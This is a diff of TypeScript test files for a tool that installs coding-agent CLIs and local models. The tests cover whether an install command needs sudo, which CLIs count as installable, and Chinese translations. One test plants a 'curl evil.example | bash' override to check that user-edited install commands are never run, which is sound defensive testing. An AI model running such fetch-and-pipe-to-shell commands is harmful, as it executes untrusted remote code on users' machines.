||||
* Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts).
|
||||
*/
|
||||
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { existsSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { dirname } from 'node:path';
|
||||
import {
|
||||
buildHarnessFacts,
|
||||
cliAcceptsCustomModelId,
|
||||
installCommandNeedsAdmin,
|
||||
} from '../src/local-model/harness-facts.js';
|
||||
import { stockInstallCommand } from '../src/cli-install-runner.js';
|
||||
import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js';
|
||||
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
||||
import type { LocalModelCatalog } from '../src/types.js';
|
||||
|
||||
/** A catalogue whose harness rows are `clis`, in that order. Nothing else in it matters here. */
|
||||
function catalogWith(clis: string[]): LocalModelCatalog {
|
||||
return {
|
||||
schema: 1,
|
||||
updated: '2026-11-06',
|
||||
minMacosMajor: 14,
|
||||
models: [],
|
||||
harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })),
|
||||
chips: [],
|
||||
};
|
||||
}
|
||||
|
||||
function stockEntry(id: string): CliEntry {
|
||||
const entry = getCli(id);
|
||||
if (!entry) throw new Error(`${id} is missing from the CLI registry`);
|
||||
return entry;
|
||||
}
|
||||
|
||||
/** The command the registry holds for macOS, whatever machine the test runs on. */
|
||||
const darwinCommand = (entry: CliEntry): string | undefined => entry.discovery.install.command.darwin;
|
||||
|
||||
/** A probe that reports exactly these CLIs as installed. */
|
||||
const installedOnly =
|
||||
(...ids: string[]) =>
|
||||
async () =>
|
||||
(entry: CliEntry) =>
|
||||
ids.includes(entry.id as string);
|
||||
|
||||
afterEach(() => {
|
||||
const path = registryFilePath();
|
||||
if (existsSync(path)) rmSync(path);
|
||||
reloadCliRegistry();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('installCommandNeedsAdmin', () => {
|
||||
it.each([
|
||||
['brew install can1357/tap/omp', true],
|
||||
[' brew install something', true],
|
||||
['sudo apt install something', true],
|
||||
['curl -fsSL https://example.com/install.sh | sudo bash', true],
|
||||
['npm install -g thing && sudo ln -s a b', true],
|
||||
['echo first; brew install thing', true],
|
||||
['echo first\nsudo make install', true],
|
||||
['(brew install thing)', true],
|
||||
['curl -fsSL https://opencode.ai/install | bash', false],
|
||||
['curl -fsSL https://claude.ai/install.sh | bash', false],
|
||||
['npm install -g --ignore-scripts @earendil-works/pi-coding-agent', false],
|
||||
['npm install -g @deepseek-ai/dsh && (command -v pnpm >/dev/null || npm install -g pnpm)', false],
|
||||
// The words inside a URL, a package name or an argument are not a command.
|
||||
['curl -fsSL https://brew.sh/install.sh | bash', false],
|
||||
['npm install -g homebrew-sudo-helper', false],
|
||||
['echo sudo', false],
|
||||
])('%s -> %s', (command, expected) => {
|
||||
expect(installCommandNeedsAdmin(command)).toBe(expected);
|
||||
});
|
||||
|
||||
it('agrees with the registry on every stock macOS command: only a Homebrew one needs an administrator', () => {
|
||||
expect(installCommandNeedsAdmin(darwinCommand(stockEntry('omp')) ?? '')).toBe(true);
|
||||
for (const id of ['claude', 'opencode', 'codex', 'pi']) {
|
||||
expect(installCommandNeedsAdmin(darwinCommand(stockEntry(id)) ?? '')).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('cliAcceptsCustomModelId (the launch path’s model id test, on the stock registry)', () => {
|
||||
it('accepts a registry style `name:tag` id for the CLIs that can carry a colon', () => {
|
||||
// opencode and claude select the model in their config or environment: no launch id at all.
|
||||
// pi and codex force the id onto `--model`, and both of their patterns allow a colon.
|
||||
for (const id of ['opencode', 'claude', 'pi', 'codex']) {
|
||||
expect(cliAcceptsCustomModelId(stockEntry(id), 'qwen3.5:9b')).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('refuses a colon for a CLI whose `--model` pattern has none, and accepts the same CLI without it', () => {
|
||||
const omp = stockEntry('omp');
|
||||
expect(cliAcceptsCustomModelId(omp, 'qwen3.5:9b')).toBe(false);
|
||||
expect(cliAcceptsCustomModelId(omp, 'qwen3-coder')).toBe(true);
|
||||
});
|
||||
|
||||
it('refuses the ids the launch routes’ own tests refuse', () => {
|
||||
// test/routes/quick-start-custom-model.test.ts pins both pairs against the real route.
|
||||
expect(cliAcceptsCustomModelId(stockEntry('pi'), 'qwen 3 with spaces')).toBe(false);
|
||||
expect(cliAcceptsCustomModelId(stockEntry('codex'), 'org/model@q4_k_m')).toBe(false);
|
||||
});
|
||||
|
||||
it('is false for a CLI with no custom model mechanism', () => {
|
||||
expect(cliAcceptsCustomModelId(stockEntry('shell'), 'qwen3.5:9b')).toBe(false);
|
||||
expect(cliAcceptsCustomModelId(stockEntry('antigravity'), 'qwen3.5:9b')).toBe(false);
|
||||
});
|
||||
|
||||
it('reads the entry it is given, so a changed pattern changes the answer (no id is looked at)', () => {
|
||||
const omp = stockEntry('omp');
|
||||
const widened: CliEntry = {
|
||||
...omp,
|
||||
launch: { ...omp.launch, params: { ...omp.launch.params, model: { type: 'token', pattern: 'model-pi' } } },
|
||||
};
|
||||
expect(cliAcceptsCustomModelId(widened, 'qwen3.5:9b')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildHarnessFacts', () => {
|
||||
it('answers one fact per catalogue harness, in catalogue order, with the registry’s label', async () => {
|
||||
const facts = await buildHarnessFacts(catalogWith(['pi', 'opencode', 'claude']), {
|
||||
probeInstalled: installedOnly('opencode'),
|
||||
installCommandFor: darwinCommand,
|
||||
});
|
||||
expect(facts.map((f) => f.cli)).toEqual(['pi', 'opencode', 'claude']);
|
||||
expect(facts.map((f) => f.label)).toEqual(['pi', 'opencode', 'claude'].map((id) => stockEntry(id).label));
|
||||
expect(facts.map((f) => f.installed)).toEqual([false, true, false]);
|
||||
});
|
||||
|
||||
it('leaves out a CLI the registry does not know, one with no custom model mechanism, and a disabled one', async () => {
|
||||
const disabled = (id: string): CliEntry | undefined => {
|
||||
const entry = getCli(id);
|
||||
return entry && id === 'claude' ? { ...entry, enabled: false } : entry;
|
||||
};
|
||||
const facts = await buildHarnessFacts(catalogWith(['no-such-cli', 'shell', 'antigravity', 'claude', 'opencode']), {
|
||||
getCli: disabled,
|
||||
probeInstalled: installedOnly(),
|
||||
});
|
||||
expect(facts.map((f) => f.cli)).toEqual(['opencode']);
|
||||
});
|
||||
|
||||
it('keeps one fact for a CLI the catalogue lists twice', async () => {
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'opencode']), { probeInstalled: installedOnly() });
|
||||
expect(facts.map((f) => f.cli)).toEqual(['opencode']);
|
||||
});
|
||||
|
||||
it('installable: not installed, a stock CLI, and a macOS command that needs no administrator', async () => {
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
|
||||
probeInstalled: installedOnly('claude'),
|
||||
installCommandFor: darwinCommand,
|
||||
});
|
||||
const byCli = new Map(facts.map((f) => [f.cli, f]));
|
||||
// curl installer into the home directory.
|
||||
expect(byCli.get('opencode')).toMatchObject({ installed: false, installable: true });
|
||||
// Already there: nothing to install.
|
||||
expect(byCli.get('claude')).toMatchObject({ installed: true, installable: false });
|
||||
// npm: the install runner points it at a prefix the server user can write.
|
||||
expect(byCli.get('pi')).toMatchObject({ installed: false, installable: true });
|
||||
// Homebrew on macOS.
|
||||
expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false });
|
||||
});
|
||||
|
||||
it('installable is false without an install command, for a sudo command, and for a custom entry', async () => {
|
||||
const command = vi.fn<(entry: CliEntry) => string | undefined>();
|
||||
command.mockReturnValueOnce(undefined);
|
||||
expect(
|
||||
(
|
||||
await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
probeInstalled: installedOnly(),
|
||||
installCommandFor: command,
|
||||
})
|
||||
)[0].installable
|
||||
).toBe(false);
|
||||
command.mockReturnValueOnce(' ');
|
||||
expect(
|
||||
(
|
||||
await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
probeInstalled: installedOnly(),
|
||||
installCommandFor: command,
|
||||
})
|
||||
)[0].installable
|
||||
).toBe(false);
|
||||
command.mockReturnValueOnce('sudo installer -pkg agent.pkg -target /');
|
||||
expect(
|
||||
(
|
||||
await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
probeInstalled: installedOnly(),
|
||||
installCommandFor: command,
|
||||
})
|
||||
)[0].installable
|
||||
).toBe(false);
|
||||
|
||||
// A custom entry's install command is never run by the install runner, so it is never
|
||||
// offered, however harmless the text looks.
|
||||
const custom = (id: string): CliEntry | undefined => {
|
||||
const entry = getCli(id);
|
||||
return entry ? { ...entry, stock: false } : entry;
|
||||
};
|
||||
const harmless = vi.fn(() => 'curl -fsSL https://example.com/install | bash');
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
getCli: custom,
|
||||
probeInstalled: installedOnly(),
|
||||
installCommandFor: harmless,
|
||||
});
|
||||
expect(facts[0].installable).toBe(false);
|
||||
expect(harmless).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('never reads an install command for a CLI that is already installed', async () => {
|
||||
const command = vi.fn(() => 'curl -fsSL https://example.com/install | bash');
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
probeInstalled: installedOnly('opencode'),
|
||||
installCommandFor: command,
|
||||
});
|
||||
expect(facts[0]).toMatchObject({ installed: true, installable: false });
|
||||
expect(command).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('acceptsModelId is the launch path’s test for that harness', async () => {
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
|
||||
probeInstalled: installedOnly(),
|
||||
});
|
||||
const accepts = (cli: string, modelId: string) => facts.find((f) => f.cli === cli)?.acceptsModelId(modelId);
|
||||
expect(accepts('opencode', 'qwen3.5:9b')).toBe(true);
|
||||
expect(accepts('claude', 'qwen3.8:27b-q8_0')).toBe(true);
|
||||
expect(accepts('pi', 'gpt-oss:20b')).toBe(true);
|
||||
expect(accepts('omp', 'gpt-oss:20b')).toBe(false);
|
||||
});
|
||||
|
||||
it('asks the availability probe once per build, not once per harness', async () => {
|
||||
const probe = vi.fn(installedOnly('opencode'));
|
||||
await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi']), { probeInstalled: probe });
|
||||
expect(probe).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('a probe that fails is an answer: every harness reads as not installed, and install data still counts', async () => {
|
||||
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'omp']), {
|
||||
probeInstalled: async () => {
|
||||
throw new Error('login shell did not answer');
|
||||
},
|
||||
installCommandFor: darwinCommand,
|
||||
});
|
||||
expect(facts.map((f) => [f.cli, f.installed, f.installable])).toEqual([
|
||||
['opencode', false, true],
|
||||
['omp', false, false],
|
||||
]);
|
||||
expect(warn).toHaveBeenCalledTimes(1);
|
||||
expect(String(warn.mock.calls[0][0])).toContain('login shell did not answer');
|
||||
});
|
||||
|
||||
it('a probe that throws for one harness does not take the others down', async () => {
|
||||
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude']), {
|
||||
probeInstalled: async () => (entry) => {
|
||||
if (entry.label === stockEntry('opencode').label) throw new Error('boom');
|
||||
return true;
|
||||
},
|
||||
});
|
||||
expect(facts.map((f) => [f.cli, f.installed])).toEqual([
|
||||
['opencode', false],
|
||||
['claude', true],
|
||||
]);
|
||||
expect(warn).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('reads the registry when it is called, not when the module loaded', async () => {
|
||||
const before = await buildHarnessFacts(catalogWith(['opencode', 'claude']));
|
||||
expect(before.map((f) => f.cli)).toEqual(['opencode', 'claude']);
|
||||
|
||||
// The user disables a CLI in ~/.codeman/clis.json after the module was imported.
|
||||
const path = registryFilePath();
|
||||
mkdirSync(dirname(path), { recursive: true });
|
||||
writeFileSync(path, JSON.stringify({ schemaVersion: 1, clis: { opencode: { enabled: false } } }), { mode: 0o600 });
|
||||
reloadCliRegistry();
|
||||
|
||||
const after = await buildHarnessFacts(catalogWith(['opencode', 'claude']));
|
||||
expect(after.map((f) => f.cli)).toEqual(['claude']);
|
||||
});
|
||||
|
||||
it('with its default dependencies it spawns nothing under vitest and finds no CLI installed', async () => {
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi']));
|
||||
expect(facts.map((f) => f.cli)).toEqual(['opencode', 'claude', 'pi']);
|
||||
expect(facts.every((f) => f.installed === false)).toBe(true);
|
||||
// opencode's install command is a curl installer on every platform the registry lists.
|
||||
expect(facts[0].installable).toBe(true);
|
||||
});
|
||||
|
||||
it('an empty harness list is an empty answer', async () => {
|
||||
expect(await buildHarnessFacts(catalogWith([]))).toEqual([]);
|
||||
});
|
||||
|
||||
describe('installCommand: the literal command the consent screen prints', () => {
|
||||
it('is present exactly when the fact is installable, and is the command that was judged', async () => {
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
|
||||
probeInstalled: installedOnly('claude'),
|
||||
installCommandFor: darwinCommand,
|
||||
});
|
||||
for (const fact of facts) {
|
||||
expect('installCommand' in fact).toBe(fact.installable);
|
||||
}
|
||||
const byCli = new Map(facts.map((f) => [f.cli, f]));
|
||||
expect(byCli.get('opencode')?.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
|
||||
expect(byCli.get('pi')?.installCommand).toBe(darwinCommand(stockEntry('pi')));
|
||||
// Installed: nothing would be run, so nothing is shown.
|
||||
expect(byCli.get('claude')).not.toHaveProperty('installCommand');
|
||||
// Homebrew needs an administrator: not installable, and no command is offered.
|
||||
expect(byCli.get('omp')).not.toHaveProperty('installCommand');
|
||||
});
|
||||
|
||||
it('with its default dependencies it is the stock command of this platform', async () => {
|
||||
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
|
||||
expect(fact).toMatchObject({
|
||||
installed: false,
|
||||
installable: true,
|
||||
installCommand: stockInstallCommand('opencode'),
|
||||
});
|
||||
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
|
||||
});
|
||||
|
||||
it('a clis.json override of the install command changes neither the fact nor whether it is installable', async () => {
|
||||
const path = registryFilePath();
|
||||
mkdirSync(dirname(path), { recursive: true });
|
||||
writeFileSync(
|
||||
path,
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
clis: {
|
||||
opencode: {
|
||||
discovery: {
|
||||
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
|
||||
},
|
||||
},
|
||||
},
|
||||
}),
|
||||
{ mode: 0o600 }
|
||||
);
|
||||
reloadCliRegistry();
|
||||
// The override is what the registry now says...
|
||||
expect(stockEntry('opencode').discovery.install.command.darwin).toBe('curl evil.example | bash');
|
||||
// ...and it is not what the install job would run, so it is not what the fact carries.
|
||||
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
|
||||
expect(fact.installable).toBe(true);
|
||||
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
|
||||
});
|
||||
|
||||
it('an override that makes the registry command need an administrator does not hide a stock command that needs none', async () => {
|
||||
const path = registryFilePath();
|
||||
mkdirSync(dirname(path), { recursive: true });
|
||||
writeFileSync(
|
||||
path,
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
clis: { opencode: { discovery: { install: { command: { linux: 'sudo true', darwin: 'sudo true' } } } } },
|
||||
}),
|
||||
{ mode: 0o600 }
|
||||
);
|
||||
reloadCliRegistry();
|
||||
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
|
||||
expect(fact.installable).toBe(true);
|
||||
expect(fact.installCommand).not.toContain('sudo');
|
||||
});
|
||||
|
||||
it('a custom entry never carries a command: its install text is never run', async () => {
|
||||
const custom = (id: string): CliEntry | undefined => {
|
||||
const entry = getCli(id);
|
||||
return entry ? { ...entry, stock: false } : entry;
|
||||
};
|
||||
const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
getCli: custom,
|
||||
probeInstalled: installedOnly(),
|
||||
installCommandFor: darwinCommand,
|
||||
});
|
||||
expect(fact.installable).toBe(false);
|
||||
expect(fact).not.toHaveProperty('installCommand');
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,226 @@
|
||||
/**
|
||||
* @fileoverview "Run a model on this Mac" in Chinese (zh-CN): the welcome button, the chooser
|
||||
* window and the App Settings group.
|
||||
*
|
||||
* Three sources of text, all checked against the real dictionary in i18n.js:
|
||||
* - the module's own strings, HARVESTED from the real local-model-ui.js (every literal it
|
||||
* passes to `localModelT`), so a new string without an entry fails here instead of showing
|
||||
* up English on one surface;
|
||||
* - every sentence and label the SERVER may send: the recommendation (`LOCAL_MODEL_LABELS`),
|
||||
* the tag of a model row (`LOCAL_MODEL_TAG_LABELS`) and the install
|
||||
* (`LOCAL_MODEL_INSTALL_LABELS`), all imported from the contract, so a label added there
|
||||
* fails here until it has an entry;
|
||||
* - the static strings of the real index.html (the Settings group's heading and hint, the
|
||||
* window's title), run through the real DOM translator.
|
||||
*
|
||||
* The window's body, the welcome button and the Settings row carry data-i18n-skip (model,
|
||||
* coding agent and chip names are someone else's text), so nothing in them is reached by the
|
||||
* DOM translator: these strings translate only through the module's own call, which is why
|
||||
* they are checked through `t()` here.
|
||||
*
|
||||
* Beyond "it is Chinese now", each entry must keep its `{placeholder}` slots: a translation
|
||||
* that drops one prints a sentence without its number.
|
||||
*
|
||||
* Port: N/A.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { afterAll, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
LOCAL_MODEL_ERROR_LABELS,
|
||||
LOCAL_MODEL_INSTALL_LABELS,
|
||||
LOCAL_MODEL_LABELS,
|
||||
LOCAL_MODEL_NONE_LABELS,
|
||||
LOCAL_MODEL_TAG_LABELS,
|
||||
} from '../src/types.js';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
|
||||
const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
|
||||
const MODULE = readFileSync(resolve(PUBLIC, 'local-model-ui.js'), 'utf8');
|
||||
|
||||
type Api = {
|
||||
configure(o: Record<string, string>): void;
|
||||
start(): void;
|
||||
t(source: string, vars?: Record<string, string>): string;
|
||||
};
|
||||
|
||||
/** Every literal the module hands to its translator call (Prettier may break after the paren). */
|
||||
const FROM_MODULE = [...new Set([...MODULE.matchAll(/localModelT\(\s*'([^']+)'/g)].map((m) => m[1]))];
|
||||
/** Every text the server may send: the recommendation, the tag of a row, the install. */
|
||||
const FROM_SERVER: string[] = [
|
||||
...new Set([
|
||||
...Object.values(LOCAL_MODEL_LABELS),
|
||||
...Object.values(LOCAL_MODEL_TAG_LABELS),
|
||||
...Object.values(LOCAL_MODEL_INSTALL_LABELS),
|
||||
]),
|
||||
];
|
||||
|
||||
/** A page with only the translator in it: enough for `t()`, and cheap to re-configure. */
|
||||
const small = new JSDOM('<!doctype html><html><body></body></html>', {
|
||||
runScripts: 'outside-only',
|
||||
url: 'http://localhost/',
|
||||
});
|
||||
vm.runInContext(I18N, small.getInternalVMContext(), { filename: 'i18n.js' });
|
||||
const api = (small.window as unknown as { CodemanI18n: Api }).CodemanI18n;
|
||||
api.configure({ language: 'zh-CN' });
|
||||
|
||||
/** The real page, translated once, for the strings that live in index.html. */
|
||||
const page = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' });
|
||||
vm.runInContext(I18N, page.getInternalVMContext(), { filename: 'i18n.js' });
|
||||
const pageApi = (page.window as unknown as { CodemanI18n: Api }).CodemanI18n;
|
||||
pageApi.start();
|
||||
pageApi.configure({ language: 'zh-CN' });
|
||||
|
||||
afterAll(() => {
|
||||
small.window.close();
|
||||
page.window.close();
|
||||
});
|
||||
|
||||
/** The static strings of the page, as index.html ships them (English): the Settings group and the window's title. */
|
||||
const GROUP_MARKUP = INDEX.match(
|
||||
/<div class="set-group" id="localModelGroup">\s*<div class="set-group-head"><h4>([^<]+)<\/h4><\/div>\s*<p class="set-group-hint">([^<]+)<\/p>/
|
||||
);
|
||||
const TITLE_MARKUP = INDEX.match(/<h3 id="localModelModalTitle">([^<]+)<\/h3>/);
|
||||
const STATIC =
|
||||
GROUP_MARKUP && TITLE_MARKUP ? [GROUP_MARKUP[1].trim(), GROUP_MARKUP[2].trim(), TITLE_MARKUP[1].trim()] : [];
|
||||
|
||||
const ALL = [...new Set([...FROM_MODULE, ...FROM_SERVER, ...STATIC])];
|
||||
|
||||
/** The `{slot}` names of a source text. */
|
||||
const slots = (text: string) => [...text.matchAll(/\{([a-zA-Z]\w*)\}/g)].map((m) => m[1]);
|
||||
|
||||
/** U+2013, U+2014 and U+2015, built from their code points so this file holds none of them. */
|
||||
const LONG_DASH = new RegExp(`[${String.fromCharCode(0x2013, 0x2014, 0x2015)}]`);
|
||||
|
||||
/**
|
||||
* What may stay Latin: the product, the platform and its vendors, the units, Token (the
|
||||
* dictionary's own word), and the proper names of the install (the runtime, the two tools a
|
||||
* coding agent calls, the GPU and an API key).
|
||||
*/
|
||||
const leftover = (text: string) =>
|
||||
text.replace(/\b(Codeman|macOS|Mac|GB|MB|Apple|Intel|Token|Ollama|GPU|API|git|Python)\b/g, '').match(/[A-Za-z]+/g) ??
|
||||
[];
|
||||
|
||||
describe('the local model strings in zh-CN', () => {
|
||||
it('harvests the module (the check is not vacuous)', () => {
|
||||
expect(FROM_MODULE).toContain('Run a local model');
|
||||
expect(FROM_MODULE).toContain('Local model');
|
||||
expect(FROM_MODULE).toContain('About {need} of {budget} GB of memory');
|
||||
expect(FROM_MODULE).toContain('Install on this Mac');
|
||||
expect(FROM_MODULE).toContain('Download and install');
|
||||
expect(FROM_MODULE).toContain('{speed} MB per second, {left}');
|
||||
expect(FROM_MODULE).toContain('You can close this window. The download continues while Codeman is running.');
|
||||
expect(FROM_MODULE).toContain('Start a session');
|
||||
expect(FROM_MODULE).toContain('{model} is ready on this Mac.');
|
||||
expect(FROM_MODULE.length).toBeGreaterThanOrEqual(70);
|
||||
// The only other way the module calls its translator is with payload text (a server
|
||||
// sentence, or the tag of a row), so no string of its own can reach the page unharvested.
|
||||
const code = MODULE.split('\n')
|
||||
.filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
|
||||
.join('\n');
|
||||
const calls = code.split('localModelT(').length - 1;
|
||||
const literalCalls = [...code.matchAll(/localModelT\(\s*'/g)].length;
|
||||
const payloadCalls = [...code.matchAll(/localModelT\((message\.text, message\.vars|label)\)/g)].length;
|
||||
// One more: the function's own declaration.
|
||||
expect(calls).toBe(literalCalls + payloadCalls + 1);
|
||||
expect(payloadCalls).toBe(2);
|
||||
// The stage that only read is gone, with its sentence.
|
||||
expect(MODULE).not.toContain('cannot download or install');
|
||||
});
|
||||
|
||||
it('lists every server label: the recommendation, the tags and the install', () => {
|
||||
// A label added to the contract later fails below by its text, not here by a count.
|
||||
expect(FROM_SERVER.length).toBeGreaterThanOrEqual(18 + 3 + 26);
|
||||
for (const text of Object.values(LOCAL_MODEL_NONE_LABELS)) expect(FROM_SERVER).toContain(text);
|
||||
// Every error code has its sentence in the list.
|
||||
for (const text of Object.values(LOCAL_MODEL_ERROR_LABELS)) expect(FROM_SERVER).toContain(text);
|
||||
expect(FROM_SERVER).toContain('Best fit for this Mac');
|
||||
expect(FROM_SERVER).toContain('Speed unknown');
|
||||
expect(FROM_SERVER).toContain('Tested on a Mac like this');
|
||||
expect(FROM_SERVER).toContain('Best fit');
|
||||
expect(FROM_SERVER).toContain('Small model');
|
||||
expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged);
|
||||
expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen);
|
||||
// The two other sentences of the `memory` reason and the two notes are not in the
|
||||
// reason map, so they are named here.
|
||||
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryContext);
|
||||
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryUnknown);
|
||||
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteSmallPick);
|
||||
expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteDiskDropped);
|
||||
});
|
||||
|
||||
it('prints the developer tools sentence from one source', () => {
|
||||
// Not sent by the server: the window prints it when `developerTools` is `missing`. The
|
||||
// module's literal is the contract's text, so one dictionary entry serves both.
|
||||
expect(FROM_MODULE).toContain(LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing);
|
||||
});
|
||||
|
||||
it('never uses the translator slot {name} for a value of its own', () => {
|
||||
for (const text of ALL) expect(slots(text), text).not.toContain('name');
|
||||
});
|
||||
|
||||
it.each(ALL)('translates %s, with no English left', (text) => {
|
||||
const chinese = api.t(text);
|
||||
expect(chinese).not.toBe(text);
|
||||
expect(leftover(chinese)).toEqual([]);
|
||||
// No long dash in any form: commas, colons and parentheses only.
|
||||
expect(chinese).not.toMatch(LONG_DASH);
|
||||
});
|
||||
|
||||
it.each(ALL.filter((text) => slots(text).length > 0))('keeps every slot of %s', (text) => {
|
||||
// Digits only, so a marker is neither translated nor counted as leftover English.
|
||||
const vars = Object.fromEntries(slots(text).map((slot, i) => [slot, `90${i}1`]));
|
||||
const chinese = api.t(text, vars);
|
||||
for (const value of Object.values(vars)) expect(chinese, `${text} lost a slot`).toContain(value);
|
||||
expect(chinese).not.toMatch(/[{}]/);
|
||||
});
|
||||
|
||||
it('keeps the product name a slot, so a custom display name reaches the Chinese text', () => {
|
||||
api.configure({ language: 'zh-CN', displayName: 'Acme' });
|
||||
try {
|
||||
for (const text of ALL.filter((candidate) => candidate.includes('Codeman'))) {
|
||||
const chinese = api.t(text);
|
||||
expect(chinese, text).toContain('Acme');
|
||||
expect(chinese, text).not.toContain('Codeman');
|
||||
}
|
||||
} finally {
|
||||
api.configure({ language: 'zh-CN', displayName: 'Codeman' });
|
||||
}
|
||||
});
|
||||
|
||||
it('adds each key to the dictionary once', () => {
|
||||
// A repeated key in the object literal silently replaces the first. Prettier leaves a key
|
||||
// that is one word unquoted.
|
||||
for (const text of ALL) {
|
||||
const bare = /^\w+$/.test(text) ? I18N.split(`\n ${text}: `).length - 1 : 0;
|
||||
expect(I18N.split(`'${text}':`).length - 1 + bare, text).toBe(1);
|
||||
}
|
||||
});
|
||||
|
||||
it('translates the static strings in the page, and leaves what the module writes alone', () => {
|
||||
expect(STATIC).toHaveLength(3);
|
||||
expect(STATIC[0]).toBe('Model on this Mac');
|
||||
expect(STATIC[2]).toBe('Run a model on this Mac');
|
||||
const translated = page.window.document.getElementById('localModelGroup')!;
|
||||
const heading = translated.querySelector('.set-group-head h4')!.textContent!.trim();
|
||||
const hint = translated.querySelector('.set-group-hint')!.textContent!.trim();
|
||||
expect(heading).toBe('此 Mac 上的模型');
|
||||
expect(hint).not.toBe(STATIC[1]);
|
||||
expect(hint).toBe(api.t(STATIC[1]));
|
||||
expect(leftover(hint)).toEqual([]);
|
||||
const title = page.window.document.getElementById('localModelModalTitle')!.textContent!.trim();
|
||||
expect(title).toBe('在此 Mac 上运行模型');
|
||||
// The dialog's close button is named in Chinese too.
|
||||
const close = page.window.document.querySelector('#localModelModal .modal-close')!;
|
||||
expect(close.getAttribute('aria-label')).toBe('关闭');
|
||||
// Written only by the module, through its own translator call. The button keeps the
|
||||
// English label it ships with until the module shows it.
|
||||
for (const id of ['welcomeLocalModelBtn', 'localModelSettings', 'localModelSettingsOpen', 'localModelWindowBody']) {
|
||||
expect(INDEX).toMatch(new RegExp(`id="${id}"[^>]*data-i18n-skip`));
|
||||
}
|
||||
expect(page.window.document.getElementById('welcomeLocalModelLabel')!.textContent).toBe('Run a local model');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,763 @@
|
||||
/**
|
||||
* @fileoverview The local model install from the first GET to Remove, with the REAL modules
|
||||
* joined together: the routes, the install service, the catalogue and `recommend()`, the
|
||||
* runtime download and unpack, the supervisor, the pull, the checks, the connection and the
|
||||
* state file. Only what would touch the world is a stand-in:
|
||||
*
|
||||
* - the runtime is the fake HTTP server of test/fixtures/fake-ollama.ts (one instance serves
|
||||
* the archive, a second one is what the supervisor "starts" through the fake's `spawn`);
|
||||
* - the pin points at the fake's small archive and carries that archive's own sha256, so the
|
||||
* real download, the real hash comparison and the real `/usr/bin/tar` run;
|
||||
* - the hardware is the owner's MacBook as its `sysctl` reported it (Apple M5 Pro, 48 GB);
|
||||
* - the coding agent's installer is a function that says it ran;
|
||||
* - the waits between retries are skipped (the retries themselves are the real ones).
|
||||
*
|
||||
* Nothing is downloaded from the network, no process is started and no fixed port is used
|
||||
* (the runtime's port is one the system handed out). Files live in the test's temp data dir.
|
||||
*
|
||||
* The walks: the whole install and its removal; a damaged runtime download; a model download
|
||||
* that fails twice and then succeeds; one that keeps failing; a model that calls no tool;
|
||||
* Cancel during the model download; a server restart during the model download; a server
|
||||
* that is KILLED during the model download and leaves its runtime running.
|
||||
*
|
||||
* "A server" here is one install service with its own runtime supervisor (`startServer()`).
|
||||
* A restart is `shutdown()` of the one and a new one over the same data dir.
|
||||
*
|
||||
* The other tests give each module fakes of its neighbours. This one is what fails when two
|
||||
* modules that each pass their own tests do not fit together.
|
||||
*
|
||||
